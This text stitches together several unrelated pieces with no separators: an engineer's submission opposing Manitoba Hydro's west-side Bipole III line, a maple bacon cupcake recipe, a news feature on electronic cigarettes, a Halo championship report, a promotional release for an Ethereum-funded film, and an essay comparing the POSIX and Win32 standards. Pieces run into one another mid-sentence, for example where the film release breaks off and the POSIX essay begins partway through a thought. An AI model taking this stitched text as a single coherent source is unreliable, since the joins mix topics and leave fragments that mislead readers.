DC transmission is used for point-to-point transmission and nobody would build a costly converter station (more than $1 billion) to sell a small amount of power for which transmission already exists.
The next spin was that Americans would pay for the additional cost of the west line and it would not cost Manitobans a cent. Not true. Purchases by American utilities are based on least-cost alternatives, not Manitoba costs. If a cheaper line is built on the east side, the savings become pure profit for Manitobans.
Another spin was that if we damage the forest on the east side the Americans will not buy our power. American legislation was passed to purchase clean hydro power, but nothing is said about locations of transmission lines.
A NFAAT review, with expert witnesses testifying under oath, would have clarified all of these points and eliminated public confusion surrounding the project. The review would have also shed light on other outstanding issues. Here are some of the more notable.
Since the line is being rerouted to preserve the forest on the east side of Lake Winnipeg, in order to enhance UNESCO heritage designation, we need to see a business plan for the heritage site.
It is claimed by the heritage site proponents that huge ecotourism benefits will flow when this forest receives its designation. No business plan has been prepared to illustrate the claimed benefits. We don't know if all the ecotourist revenue will come from a Banff-style operation or from leaving the forest in a pristine wilderness state.
If tourism revenues are to be derived from an operation such as at Banff, then we must have development of roads, service stations, hotels, night clubs, sewage lagoons, etc. This kind of infrastructure is far more intrusive than any transmission line.
On the other hand, if we leave it as a wilderness area, then how is it possible to derive all the ecotourism benefits? A billion-dollar decision was made without backup information.
Regarding disruption of the woodland caribou, a road with its traffic will kill more caribou than any transmission line.
Another issue that needs to be reviewed is the in-service date. When the west-side line was announced, the in-service date was pegged at 2017. Since that time, our economy has changed dramatically. A recession has struck North America. Hydro's load growth has decreased, the American economy has softened, as evidenced by the Wisconsin Public Service sale reduction from 500 MW to 100 MW, natural gas prices are lower and a host of other parameters have changed.
A project delay is not new to Hydro. In 1976, construction of the Limestone station was started and then stopped two years later because of a reduction in the predicted electrical demand.
Construction was resumed in 1985 and, fortuitously, the plant came in under budget, concurrently with profitable American export contracts. It would be prudent to re-examine the Bipole III in-service date.
Hydro also seems to be paralyzed in its creativity. With the government ostensibly doing all of the planning for Bipole III, it appears as if Hydro is so intent in pleasing its political bosses, there is no attempt to minimize the west-side line costs. Significant cost-savings opportunities exist with a re-examination of the preferred location for the receiving-end converter station, which is currently at Riel.
The Riel station location was established with the expectation Bipole III would approach Winnipeg from the northeast side. Given that the line will now approach the city from the southwest side, it makes economic sense to consider moving the converter station to the southwest corner of Winnipeg. The line length could be shortened by 120 kilometres leading to an immediate saving of at least $120 million.
The shortened line would also give us increased security, reduced losses and avoidance of negative environmental impact on valuable farmland south and east of Winnipeg.
The restrictions placed on this commission by the government have prevented any investigation of these and other important aspects.
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But the real tragedy of all is that the environmental impact of the east-side line is not compared to the west-side line because any discussion of the east side has been ruled out-of-scope.
The severe restrictions placed on this commission have not served the public interests at all.
The only rationalization I can offer to the process, and the Bipole III saga, as it has unfolded, is linked to the adage "no person is totally useless; he can always serve as a bad example."
Likewise, this line, with all its inferior qualities, will also serve as a bad example. For the next 100 years, future generations will gaze at the towers and ponder how it happened that reckless politicians built this crazy west-side line instead of the vastly superior east-side line, as proposed by experienced, competent professionals within Manitoba Hydro.
Will Tishinski is an electrical engineer. He made this presentation as a private citizen to the Clean Environment Commission Nov. 1.Love. There are so many expressions of that warmly felt feeling – poetry, flowers, cheesy movies, dinner dates, and a delicious overabundance of chocolate.
But, love in our household means just one thing when it comes to food…bacon.
Delicious crispy, thick, marbleized bacon.
So, it may come as a surprise that I personally do not like bacon. At all. In fact, I wasn’t even sure where to find it in our local grocery store. It took me 10 minutes to find!
But, when I (strangely enough) dreamed about these Maple Bacon Cupcakes, I knew that was what my Valentine’s Gift to my husband had to be. He was so excited when I told him about it he asked me about it all week. And then as the bacon started to cook he was sneaking in and expectantly waiting for a taste as if it were Christmas morning. Delicious Bacon-y love.
And..Oh my! I think I could have found my love for bacon yet!
These maple infused cupcakes are like a delicious breakfast treat all in one. With the salty sweet combo and the rich maple flavor, topped with the buttery maple frosting these cupcakes were so addicting.
I searched all over for a great Maple cupcake recipe. But, I found that many of them came out too sweet and added lots of sugar. So, for this version I modified the amounts of maple syrup (man, syrup can get expensive!) to create a light tasting maple flavor that accentuated the batter with frosting. So yummy! So, I hope you enjoy these and share the bacon love!
Maple Bacon Cupcakes
Maple Cupcake Batter:
2 1/2 cups all-purpose flour
2 teaspoons baking powder
1 teaspoon baking soda
1/2 teaspoon salt
3/4 teaspoons ground ginger
1 stick unsalted butter, softened
1/2 cup brown sugar
2 large eggs
1 cup maple syrup
2 teaspoons vanilla extract
1/2 cup buttermilk
Maple Frosting:
8 ounces cream cheese, at room temperature
1 stick (8 tbsp.) unsalted butter
1/4 cup maple syrup
1/2 teaspoon vanilla extract
2 cups sifted confectioner’s sugar
Garnish: Fully cooked bacon, cut into 1″ pieces or crumbled
Preparation:
Heat oven to 350 degrees F. Sift together the flour, baking powder, baking soda, salt, and ginger. Set aside. Beat the butter and sugar together using a mixer set on medium speed in a large bowl until fluffy. Beat in the eggs, syrup, and vanilla. Stir in flour mixture by thirds, alternating with the buttermilk. Fill 18 lined muffin cups and bake until a tester comes out clean, about 20 minutes. Cool completely. For Frosting: In the bowl of an electric mixer fitted with the paddle attachment, add cream the cream cheese and butter and beat on low speed until smooth. Stir in the maple syrup and vanilla extract. With the mixer still on low, slowly add the confectioners’ sugar and mix until smooth. Frost cooled cupcakes and garnish each with a piece of bacon.
Sources: modified from Country Living’s Maple Cupcakes recipe and Ina Garten’s Maple Frosting recipe.While visiting an ill relative in Princess Margaret Hospital, Bill Marangos walked by the nurse's station and took a deep drag on his cigarette, exhaling white curlicues – the cancer hospital equivalent of discharging a gun in a police station. "A nurse nearly tackled me," says Marangos, who, before security was summoned, quickly explained it was an electronic cigarette, no tobacco, no smoke.
A puff of mist rises from the tobaccoless SmokeStik held by Marlene Sen. She says she hasn’t had a real cigarette since switching to E-cigs. (March 11, 2009) ( CARLOS OSORIO / TORONTO STAR )
Still ready to pounce, the nurses watched as he blew what looked like smoke, but was actually vapour, straight into a smoke detector. "A couple of nurses covered their heads, sure that the sprinklers would spray," says Marangos. "Some came up to me asking where they could get these cigarettes." From him. Marangos is president of SmokeStik, one of the many brands of battery-powered cigarettes being made in China and gaining popularity globally through sales online and in corner stores.
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And through celebrity boosts: Photos of Leonardo DiCaprio with an electronic cigarette stuck in his lips are plastered on pop culture websites and baseball star Jose Canseco is reported to be a pitchman for a distributor. Usually a slim white cylinder with a beige mouthpiece to mimic the look of the real thing, these pseudo cigarettes contain liquid nicotine that is heated and vaporized when a user inhales. It's a safer way to get a nicotine fix without the tar and carcinogens, say the sellers. "It's like smoking with a condom on," says William Taskas, Canadian distributor for SmokeStik. An orange light glows at the tip, resembling a burning ember. But these faux smokes are also sparking controversy as governments grapple with how or whether to regulate them, and anti-smoking activists either dismiss them as untested gimmicks to keep people hooked or see them as a way to reduce harm. "The problem with cigarettes is not the nicotine, not even the tobacco; it's the smoke, the delivery system," says David Sweanor, former legal counsel of the Non Smokers' Rights Association of Canada. "Much of what we've done has been prohibitionist in approach. Are we simply trying to reduce consumption or are we also trying to reduce the overall risk?"
Response to these faux smokes has been literally all over the map. Australia banned the sale of electronic cigarettes with nicotine, but smokers in Britain can buy them in some pubs and puff with a pint. Health Canada determined last month that they fall under the Food and Drugs Act, which means a company must submit evidence of safety and effectiveness in order to market them. Health Canada is taking steps to inform importers of the regulations, according to a government spokesperson.
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That's news to Marangos, who has been selling them since July. A starter kit with rechargeable batteries, charger and five cartridges sells for about $110. "We'd love them to clear the air. It won't be a problem for us." But without that government stamp of approval, many researchers say steer clear. "There's no scientific data on how they work, if there are interactions with anything else," says Kelli-an Lawrance, a tobacco control researcher at Brock University. "I can't imagine companies want people to use them to quit. They're capitalizing on the fact that people will keep smoking." While the nicotine cartridges for the cigarettes come in different strengths – high, medium, low and no nicotine – tobacco researchers worry consumers can't be sure what strength they get. For those who want to quit, safe and proven methods, such as the patch, gum and inhaler, are already on the market, says Lawrance. None of those worked for Marlene Sen. "I couldn't get past day three. I enjoyed smoking too much, the habit, the ritual," says Sen, a smoker for 30 years. She also used nicotine as a way to calm down, cope with stress, especially as the stay-home mother of two young children. Feeling trapped, she had resigned herself to a possible early death from lung cancer. Then she saw a friend's posting on Facebook about electronic cigarettes, and she ordered some from the Internet. "It's five weeks today I haven't had a real cigarette," Sen says, adding she hasn't been miserable and angry as with other attempts to quit. She hopes to taper off until she's using the nicotine-free cartridges. "I'm proud of this. It's a positive change in my life." Since the electronic cigarettes don't contain tobacco, they are not prohibited under anti-smoking laws. Sen has smoked them in malls and movie theatres, and no one has questioned her. One downside, though, is she is more likely to puff where her kids can see her. "That's not good," says Sen, who plans not to smoke even a fake cigarette in front of her kids. Researchers worry that the electronic variety could become a gateway to the real type. "Why do they need to look like and act so much like a cigarette?" asks Michael Perley, director of the Ontario Campaign for Action on Tobacco. Some brands come with a variety of flavoured nicotine, such as tobacco, mint, vanilla or fruit. "That's to appeal to children," says Roberta Ferrence, executive director of the Ontario Tobacco Research Unit. Nicotine, while not as risky as the smoke in cigarettes, is highly addictive. Despite the fears, some longtime anti-smoking activists see electronic cigarettes as relatively safe. Independent researcher Murray Laugesen, formerly a medical officer with the New Zealand government who has worked to reduce smoking since 1984, tested the first electronic cigarette, the Ruyan V8 marketed in China in 2004. "So far, no cause of serious concern has been found," writes Laugesen in an email. His safety tests were funded by Ruyan. The exhaled mist contains almost no nicotine, he writes. It consists of propylene glycol, commonly used as stage fog. No tests have been conducted to prove that the smokeless cigarettes increase chances of quitting, says Laugesen. "Safe doesn't exist," says Sweanor. "But electronic cigarettes are low risk compared to regular cigarettes. It's the equivalent of having a four-wheel-drive Volvo compared to a high-powered motorcycle with bald tires in an ice storm." Read more on this topic:
E-cigs spark smoking debate Smoke signals: A quitter's journal
Read more about:Mathew Fiorante (Royal 2) and his team Counter-Logic Gaming are Halo World Champions.
The 19-year-old Reginan and his teammates swept Allegiance 4-0 in a best of seven series in Hollywood, CA on Sunday. Fiorante’s share of the $1 million prize is $250,000 U.S. That’s $334,731.83 CAD.
Leading up to the tournament, CLG finished first in the North American regional final, making them the favourite heading into the world championship.
Allegiance put up a good fight against CLG in the first game of Capture The Flag, and even managed to keep the game at a tied score, forcing a repeat. However, CLG dominated the rest of the series without dropping a single game.
Fiorante has been competing in Halo professionally since he was 14-years-old, and it is now his full-time occupation.
The world championship offered the highest prize pool in the history of console game esports. There will be plenty more pro Halo to come. A Halo professional league will soon be starting, which will culminate in another world championship.
You can watch a full rebroadcast of the match below.
Twitter.com/Melnychuk86
mmelnychuk@postmedia.comThis autumn the Pitts Circus movie announced to produce the very first Ethereum financed movie for cinema, TV and VOD in 2017. The film which is going to be presented on film festivals and cinemas in 2018 will bring a long term benefit to the Ethereum ecosystem and will bring in new people into the crypto currency space.
The movie corporation who collected Ether from Ethereum investors trough a smart contract recently announced lots of B2B cooperations, sponsoring and product placement deals, which will support the production process of the first Ethereum based Independent movie.
While the first scenes are going to be shoot from the end of January 2017 in West-Australia the Pitts Circus team used the last month to coordinate some important business deals to make the movie look and feel like a crypto-related film. While the Pitts Circus Family (a popular artist family from Australia) will head the cast the movie production the production team around Tony Caradonna signed with Matto Kämpf and Carlos Henriquez movie actors who already have years of TV & film experience. Mera film, a swiss based digital cinema production company supports the production progress and will help to bring a high-quality movie in 2018 to film festivals followed by international cinemas all around the world.
The Ethereum based project closed some important business deals in the last time. In the last month the team closed several sponsoring and product placement deals. Ledger Wallet, will come up with a new version of their cold wallet soon. The hardware wallet, which will also support smart contracts will be part of the movie. Also Trezor Wallet confirmed to support the first Ethereum founded movie in terms of sponsoring and product placement. The Pitts Circus movie recently also received financial support from bilinguisme.ch
The movie production announced to feature Ether Card products in their film. Customized Pitts Circus Ethereum gift cards are available to give away shares of the movies venture as a present. While the team works on more B2B deals inside the crypto space they also brought other companies to the scene who are going to sponsor the crypto related film.
The Giant Squid Audio Lab Company, who produces high fidelity microphones will spons o r the mov i e and many mo r e cooperations are on negotiations. Moreover the project signed the experienced sound engineer Rainer Jesky from Berlin.
First results of production will be shown on the COVAL/ VOCAL podcast early next year. The movie will also include a COVAL placement (Circuits of Value cryptocurrency). It will be the first movie which shows the innovative use case of storing and sending cryptocurrency inside a MP3 file or ordinary usbsticks. The movie soundtrack is in progress but independent musicians will be able to upload their music on the aurovine platform (Audiocoin cooperation) and the audience will decide which music will be part of the film.
In sum the Swiss movie production was able to collect financial resources, equipment and human labour time of more than 80,000 USD. Parts of it come from donations during the summer, followed by their first sold smart contracts (Ether investment) as well from closed business deals with sponsors and partners. There will be some more deals signed in the next weeks. Currently the project also announced a partnerships with other companies e.g. Mycolab or Aardvark Film Emporium.
Tony Caradonna producer of |
ugly head somewhere along the way. Vendors didn't want to give up their proprietary advantages and so all of them pushed to get their particular implementation of a feature into POSIX. As all vendors don't have implementations of all parts of the standard this means that many of the features in POSIX are optional, usually just the one you need for your particular application. How can you tell if a particular implementation of POSIX has the feature you need? If you're lucky, you can test for it at compile time.
The GNU project suffered from these "optional features" more than most proprietary software vendors, as their software is intended to be portable across as systems as possible. In order to make their software portable across all the weird and wonderful POSIX variants the wonderful suite of programs known as GNU autoconf were created. The GNU autoconf system allows you to test to see if a feature exists, or works correctly, before even compiling the code; thus allowing an application programmer to degrade missing functionality gracefully (ie. not failing at runtime).
Unfortunately not all features can be tested this way, as sometimes a standard can give too much flexibility, thus causing massive runtime headaches. One of the most instructive examples is in the pathconf() call. The function prototype for pathconf() looks like this :
long pathconf(char *path, int name);
Here, " char *path " is a pathname on the system and " int name " is a defined constant giving a configuration option you want to query. The ones causing problems are the :
_PC_NAME_MAX
_PC_PATH_MAX
constants. _PC_NAME_MAX queries for the maximum number of characters that can be used in a filename within a particular directory (specified by "char *path") on the system. _PC_PATH_MAX queries for the maximum number of characters that can be used in a relative path from the particular directory. On the surface there seems nothing wrong with this, until you consider how Unix file systems are structured and put together. A typical Unix file system looks like this :
Any of the directory nodes such as /usr/bin or /mnt could be a different file system type, not the standard Unix file system (maybe even network mounted). In the diagram, the " /mnt/msdos_dir " path has been mounted from a partition containing an old MS-DOS style FAT file system type. The maximum directory entry length on such a system is the old DOS 8.3 eleven character name. But below the Windows directory could be mounted a different file system type with yet other differing maximum name restrictions than 8.3, maybe an NFS mount from a different machine, for example on the path : " /mnt/msdos_dir/nfs_dir ". Now the pathconf() can accommodate these restrictions and tell your application about it, if you remember to call it on every single possible path and path component your application might use! Hands up all application programmers who actually do this...... Yes, I thought so (you at the back, put your hand down. I know how you do things in the USA "Star Wars" missile defense program but no one programs in ADA anymore, plus your tests never work, OK?). This is an example of something that looks good on paper but in practical terms almost no one would use in an actual application. I know we don't in Samba, not even in the "re-written from scratch with correctness in mind" Samba4 implementation.
Now let's look at an example of where POSIX gets it spectacularly wrong, and why it happened.
First Implementation Past the Post
Any application program dealing with multiple access to files has to deal with file locking. File locking has several potential strategies, ranging from the "lock this file for my exclusive use" method, to the "lock these 4 bytes at offset 23 as I'm going to be reading from them soon" level of granularity. POSIX does implement this kind of functionality via the fcntl() call, a sort of "jack of all trades" for manipulating files (hence "fcntl -> file control"). It's not important exactly how to program this call, suffice it to say that a code fragment to set up a byte range lock as described above looks something like :
int fd = open("/path/to/file", O_RDWR);
.... set up "struct flock" structure to describe the kind of byte range lock we need...
int ret = fcntl(fd, F_SETLKW, &flock_struct);
and if ret is zero, we got the lock. Looks simple, right? The byte range lock we got on the region of the file is advisory. This means that other processes can ignore it and are not restricted in reading or writing the byte range covered by the region (that's a difference from the Win32 way of doing things, in which locks are mandatory; if a lock is in place on a region no other process can write to that region even if it doesn't test for locks). An existing lock can be detected by another process doing its own fcntl() call asking to lock its own region of interest. Another useful feature is that once the file descriptor open on the file ( int fd in the example above) is closed then the lock is silently removed. This is perfectly acceptable and a rational way of specifying a file locking primitive, just what you'd want.
However, modern Unix processes are not single threaded any more, they commonly consist of a collection of separate threads of execution, separately scheduled by the kernel. Because the lock primitive has a per-process scope, this means that if separate threads in the same process ask for a lock over the same area it won't conflict. In addition, because the number of lock requests by a single process over the same region is not recorded (according to the spec) then you can lock the region ten times, but you only need to unlock it once. This is sometimes what you want, but not always: consider a library routine that needs to access a region of a file but doesn't know if the calling processes has the file open. Even if an open file descriptor is passed into the library, the library code can't take any locks, it can never know if it is safe to unlock again without race conditions.
This is an example of a POSIX interface not being future-proofed against modern techniques such as threading. A simple amendment to the original primitive allowing a user-defined "locking context" (like a process id) to be entered in the struct flock structure used to define the lock would have fixed this problem, along with extra flags allowing the number of locks per context to be recorded if needed.
But it gets worse. Consider the following code:
int second_fd; int ret; struct flock lock; int fd = open("/path/to/file", O_RDWR); /* Set up the "struct flock" structure to describe the kind of byte range lock we need. */ lock.l_type = F_WRLCK; lock.l_whence = SEEK_SET; lock.l_start = 0; lock.l_len = 4; lock.l_pid = getpid(); ret = fcntl(fd, F_SETLKW, &lock); /* Assume we got the lock above (ie. ret == 0). */ /* Get a second file descriptor open on the original file. Assume this succeeds. */ second_fd = dup(fd); /* Now immediately close it again. */ ret = close(second_fd);
What do you think the effect of this code on the lock created on the first file descriptor should be (so long as the close() call returns zero)? If you answered "it should be silently removed when the second file descriptor was closed", congratulations, you have the same warped mind as the people who implemented the POSIX spec. Yes, that's correct. Any successful close() call on any file descriptor referencing a file with locks will drop all the locks on that file, even if they were obtained on another, still open, file descriptor.
Let me be clear to everyone: this behavior is never what you would want. Even experienced programmers are surprised by this behavior, because it makes no sense. Even after I've described this to Linux kernel hackers their response has been one of stunned silence, followed by a "but why would it do that"?
In order to discover if this functionality was actually correctly used by any application program or anything really depended on it, Andrew Tridgell, the original author of Samba once hacked the kernel on his Linux laptop to write a kernel debug message if ever this condition occurred. After a week of continuous use he found one message logged. When he investigated it turned out be be a bug in the " exportfs " NFS file exporting command, where a library routine was opening and closing the /etc/exports file that had been opened and locked by the main exportfs code. Obviously the authors didn't expect it to do that either.
The reason is historical and reflects a flaw in the POSIX standards process, in my opinion, one that hopefully won't be repeated in the future. I finally tracked down why this insane behavior was standardized by the POSIX committee by talking to long-time BSD hacker and POSIX standards committee member Kirk McKusick (he of the BSD daemon artwork). As he recalls, AT&T brought the current behavior to the standards committee as a proposal for byte-range locking, as this was how their current code implementation worked. The committee asked other ISVs if this was how locking should be done. The ISVs who cared about byte range locking were the large database vendors such as Oracle, Sybase and Informix (at the time). All of these companies did their own byte range locking within their own applications, none of them depended on or needed the underlying operating system to provide locking services for them. So their unanimous answer was "we don't care". In the absence of any strong negative feedback on a proposal, the committee added it "as-is", and took as the desired behavior the specifics of the first implementation, the brain-dead one from AT&T.
The "first implementation past the post" style of standardization has saddled POSIX systems with one of the most broken locking implementations in computing history. My current hope is that eventually Linux can provide a sane superset of this functionality that may then be adopted by other Unixes and eventually find its way back into POSIX.
OK, having dumped on POSIX enough, let's look at one of the things that POSIX really got right, and is an example to follow in the future.
Future Proofing
One of the great successes of POSIX is the ease in which it has adapted to the change from 32-bit to 64-bit computing. Many POSIX applications were able to move to a 64-bit environment with very little or no change, and the reason for that is abstract types.
In contrast to the Win32 API (which even has a bit-size dependency in its very name), all of the POSIX interfaces are defined in terms of abstract data types. A file size in POSIX isn't described as a "32 bit integer" or even as a C language type of " unsigned int ", but as the type of " off_t ". What is " off_t "? The answer depends completely on the system implementation. On small or older systems it is usually defined as a signed 32 bit integer (it's used as a seek position so it can have a negative value), on newer systems (Linux for example) it's defined as a signed 64-bit integer. So long as applications are careful to only cast integer types to the correct " off_t " type and use these for file size manipulation then the same application will work on both small and large POSIX systems.
This wasn't done all at once, as most commercial Unix vendors have to provide binary compatibility to older applications running on newer systems, so POSIX had to cope with both 32-bit file sized applications running alongside newer 64-bit capable applications on the new 64-bit systems. The way to make this work was decided at the Large File Support working group, which finished its work during the mid 1990's.
The transition to 64-bits was seen as a three stage process. Stage one was the original old 32-bit applications; stage two was seen as a transitional stage, where new versions of the POSIX interfaces were introduced to allow newer applications to explicitly select 64-bit sizes, and finally; stage three where all the original POSIX interfaces default to being 64 bit clean.
As is usual in POSIX, the selection of what features to support was made available using compile-time macro definitions that could be selected by the application writer. The macros used were :
_LARGEFILE_SOURCE
If defined a few extra functions were made available to applications to fix the problems in some older interfaces, but the default file access was still 32-bit. This corresponds to stage one described above.
_LARGEFILE64_SOURCE
If this is defined then a whole new set of interfaces are available to POSIX applications that can be explicitly selected for 64-bit file access. These interfaces explicitly allow 64-bit file access and have '64' coded into their names. So open() becomes open64(), lseek() becomes lseek64(), and a new abstract data type called off64_t is created and used instead of the off_t file size data type in such structures as struct stat64. This corresponds to stage two.
_FILE_OFFSET_BITS
This represents stage three, and this macro can be either undefined or set to the values 32 or 64. If undefined or set to 32 it corresponds to stage one (_LARGEFILE_SOURCE). If set to 64 all the original interfaces such as open() and lseek() are transparently mapped to the 64-bit clean interfaces. This is the end stage of porting to 64-bits, where the underlying system is inherently 64-bit, and nothing special need be done to make an application 64-bit aware. On a native 64-bit system that has no older 32-bit binary support this becomes the default.
As you can see, if a 32-bit POSIX application had no dependencies on file size embedded in it, then simply adding the compile time flag "-D_FILE_OFFSET_BITS=64" would allow a transparent port to a 64-bit system. There are few such applications though, and Samba was not one of them. We had to go through the stage two pain of using 64-bit interfaces explicitly (which we did around 1998) before we could track down all the bugs associated with moving to 64-bits. But we didn't have to re-write completely, and that I consider a success of the underlying standard.
This is an example of how the POSIX standard was farsighted enough to define some interfaces that were so portable and clean that they could survive a transition of underlying native CPU word length. Few other standards can make that claim.
Wither POSIX?
The POSIX standard has not stayed static; it has managed to evolve (although some would argue too slowly) over time. A major step forward was the establishment of the "Single Unix Specification" (SUS) which is a superset of POSIX developed in 1998 and adopted by all the major Unix vendors, shepherded by the Unix standards body "the Open Group". It was a great leap forward when this specification was finally made available for free on the Web from the OpenGroup Web site at http://www.unix.org. It certainly saved me from having to hunt down cheap POSIX specifications in second hand bookshops in Mountain View, California.
The expanded SUS now covers such things as real-time programming, concurrent programming via the POSIX thread (pthread) interfaces, internationalization and localization, but unfortunately not file Access Control Lists (ACLs). Sadly that specification was never fully agreed on, and so has never made it into the official documents. Interestingly enough the SUS doesn't cover such things as the graphical user interface (GUI's) elements, as the history of Unix as primarily a server operating system meant that GUI's were never given the importance needed for Unix to become a desktop system.
Looking at what happened with ACLs is instructive in considering the future of POSIX and the SUS. Because ACLs were sorely needed in real-world environments the individual Unix vendors such as SGI, Sun, HP and IBM added them to their own Unix variants. But without a true standards document they fell into their old evil ways and added them with different specifications. Then along came Linux....
Linux changed everything. In many ways, the old joke is true that Linux is the Unix defragmentation tool inspired by novice system administrators coming to Unix from the Windows platform for the first time and asking "where is the system defragmentation tool?", the concept of a file system designed well enough not to need one being outside their experience. As Linux became more popular programs originally written for other Unixes were first ported to it, then after a while were written for it and then ported to other platforms. This happened to Samba, where Sun's SunOS on SPARC system was at first our primary user platform but after five years or so rapidly migrated to Linux on Intel x86 systems. We now develop almost exclusively on Linux, and from there port to other Unix systems.
What this means is the Linux interfaces are starting to take over as the most important standards for Unix-like systems to follow, in some ways supplanting POSIX and the SUS. The ACL implementation for Linux was added into the system at first via a patch by Andreas Grünbacher, held externally to the main kernel tree. Finally it was adopted by the main Linux vendors SuSE (now Novell) and Red Hat and has become part of the official kernel. Other free Unix systems such as FreeBSD quickly followed with their own implementation of the last draft of the POSIX ACL specification, and now there are desktop GUI and other application programs that use the Linux ACL interfaces. As this code is ported to other systems the pressure is on them to conform to the Linux API's, not to any standards document. Sun have announced that their Solaris 10 on Intel release will run Linux applications "better than Linux" and will be fully compatible at the system call level with Linux applications. This means they must have mapped the Linux ACL interface onto the Solaris one. Is that a good thing?
In a world where Linux is rapidly becoming the dominant version of Unix, does POSIX still have relevance, or should we just assume Linux is the new POSIX?
The Win32 (Windows) Standard
Win32 was named for an expansion of the older Microsoft Windows interface, renamed the Win16 interface once Microsoft was shipping credible 32-bit systems. I have a confession to make; in my career I completely ignored the original 16-bit Windows on MS-DOS. At that time I was already working on sane 32-bit systems (68000 based) and having to deal with the original insane 8086 segmented architecture was too painful to contemplate. Win32 was Microsoft's attempt to move the older architecture beyond the limitations of MS-DOS and into something that could compete with Unix systems, and to a large extent they succeeded spectacularly.
The original 16-bit Windows API added a common GUI on top of MS-DOS, and also abstracted out the lower level MS-DOS interfaces so application code had a much cleaner "C" interface to operating system services (not that MS-DOS provided many of those). The Win32 Windows API was actually the "application" level API (not the system call level; I'll discuss that in a moment) for a completely new operating system that would soon be known as Windows NT ("New Technology"). This new system was designed and implemented by Dave Cutler, the architect of Digital Equipment Corporation's VMS system, long a competitor to Unix. It does share some similarities with VMS. The interface choice for applications was very interesting, sitting on top of a system call interface that looks like this :
The original idea behind the Windows NT kernel was that it could host several different "subsystem" system call interfaces, providing completely different application behavior from the same underlying kernel. Thus it was meant to be a completely customizable operating system, providing different kernel "personalities" any ISV might require. The DOS subsystem and the (not shown) 16-bit Windows subsystem were essential as they provided backwards compatibility for applications running on MS-DOS and 16-bit Windows; the new operating system would have gathered little acceptance had it not been able to run all the old MS-DOS and Windows applications. The OS/2 subsystem was designed to allow users of text mode OS/2 applications (which was at one time a Microsoft product) to port them to Windows NT.
The two interesting subsystems are the original POSIX subsystem and the new Win32 subsystem. The POSIX subsystem was added as the POSIX standard had become very prevalent in procurement contracts. Many of these valuable contracts were only available to systems that passed the POSIX conformance tests. So Microsoft added a minimal POSIX subsystem into the new Windows NT operating system. This original subsystem was, I think it's fair to say, deliberately crippled to make it not useful for any real-world applications. Applications using it had no network access and no GUI access, so although a POSIX compliant system might be required in a procurement contract, there usually was no requirement that the applications running on that system had to also be POSIX compliant. This allowed new applications using the Microsoft preferred Win32 subsystem to be used instead. All might not have been lost if Microsoft had documented the internal subsystem interface, allowing third party ISVs to create their own Windows NT kernel subsystems, but Microsoft kept this valuable asset purely to themselves (there was one exception to this which I'll discuss below).
So let's examine the Win32 standard API, the interface designed to run on top of the Win32 kernel subsystem. It would be logical to assume that, like the POSIX system calls, the calls defined in the Win32 API would closely map to kernel level Win32 subsystem system calls. But that would be incorrect. It turns out that, when released, the Win32 subsystem system call interface was completely undocumented. The calls made from the application level Win32 API were translated, via various shared libraries ("DLLs" in Windows parlance) mainly the NTDLL.DLL library, into the real Win32 subsystem system calls.
Why do this, you might ask? Well the above board reason is that it allows Microsoft to tune and modify the system call layer at will, improving performance and adding features without being forced to provide backwards compatibility application binary interfaces (or "ABI's" for short). The more nefarious reasoning is that it allows Microsoft applications to cheat, and call directly into the undocumented Win32 subsystem system call interface to provide services that competing applications cannot. Several Microsoft applications were subsequently discovered to be doing just that of course. One must always remember that Microsoft is not just an operating systems vendor, but also the primary vendor of applications that run on its own platforms. These days this is less of a problem, as there are several books that document this system call layer, and there are several applications that allow snooping on any Windows NT kernel calls being made by applications, allowing any changes in this layer to be quickly discovered and published. But it left a nasty taste in the mouths of many early Windows NT developers (myself included).
The original Win32 application interface was on the surface very well documented, and cheaply available in paper form (five books at only twenty dollars each; a bargain compared to a POSIX specification). Like most things in Windows, on the surface it looks great. It covers much more than POSIX tries to standardize, and so offers flexible interfaces for manipulating the GUI, graphics, sound, pen computing, as well as all the standard system services such as file I/O, file locking, threading, and security. Then you start to program with it. If you're used to the POSIX specifications you almost immediately notice something is different. The details are missing. It's fuzzy on the details. You notice it the first time you call an API at runtime and it returns an error that's not listed anywhere in the API documentation. "That's funny....?" you think. With POSIX, all possible errors are listed in the return codes section of the API call. In Win32, the errors are a "rough guide".
The lack of detail is one of the reasons that the Wine project finds it difficult to create a working implementation of the Win32 API on Linux. How do you know when it's done? Remember that Linus with some help was able to create a decent POSIX implementation within a few years. The poor Wine developers have been laboring at this for twelve years and it's still not finished. There's always one more wrinkle, one more undocumented behavior that some critical application depends on. Reminds me of Samba somehow, and for very similar reasons.
It's not entirely Microsoft's fault. They haven't documented their API because they haven't needed to. POSIX was documented to this detail due to need: the need of the developers creating implementations of the standard. Microsoft know that whatever they make the API do in the next service pack, that's still the Win32 standard. "Where ever you go, there you are", so to speak.
However, the Win32 design does some things very well; security, for instance. Security isn't the number one thing people think of when considering Windows, but in the Win32 API security is a very great concern. In Win32, every object can be secured, and a property called a "Security Descriptor" which contains an access control list (ACL) can be attached to it. This means objects like processes, files, directories, even Windows can have ACLs attached. This is much cleaner than POSIX, where only objects in the file system can have ACLs attached to them.
So let's look at a Win32 ACL. Like in POSIX, all users and groups are identified by an unique identifier. On POSIX it's a uid_t type for users, and a gid_t type for groups. In Win32, both are of type SID or security identifier. A process or thread in Win32 has a token attached to it which lists the primary SID of the process owner and a list of secondary group SID entries this user belongs to. Like in POSIX, this is attached to a process at creation time and the owner can't modify it to give themselves more privileges. A Win32 ACL consists of a list of SID entries with an attached bit mask identifying the operations this SID entry allows or denies. Sounds reasonable, right? But the devil is in the details.
Each SID entry in an ACL can be an allow entry, or a deny entry. The order of them is important. Re-order a list of entries and swap an deny entry with an allow entry and the meaning of the ACL can completely change. POSIX ACLs don't have that problem because the evaluation algorithm defines the order in which entries are examined. In addition, the flags defining the entry (marked as [f*] above) control if an entry is inherited when the ACL is attached to a "container object" (such as a directory in the file system) and may also affect other attributes of this particular entry.
The bit mask enumerates the permissions that this entry is allowing or denying. But the permissions are (naturally) different depending on what object the ACL is attached to. Let's look at the kind of permissions available for a file object :
DELETE : Delete the object. READ_CONTROL : Read the ACL on an object. WRITE_DAC : Write the ACL on an object. FILE_READ_DATA : Read from the file. FILE_READ_ATTRIBUTES : Read file meta-data. FILE_READ_EA : Read extended attributes (if the file has any) FILE_WRITE_DATA : Write to the file FILE_WRITE_EA : Write extended attributes (if the file has any) FILE_EXECUTE : Open for execute (why do we need the.EXE tag then?) SYNCHRONIZE : A permission related to an open file handle, not the file.
And this is one of the more simple kinds of permission bearing object in Win32.
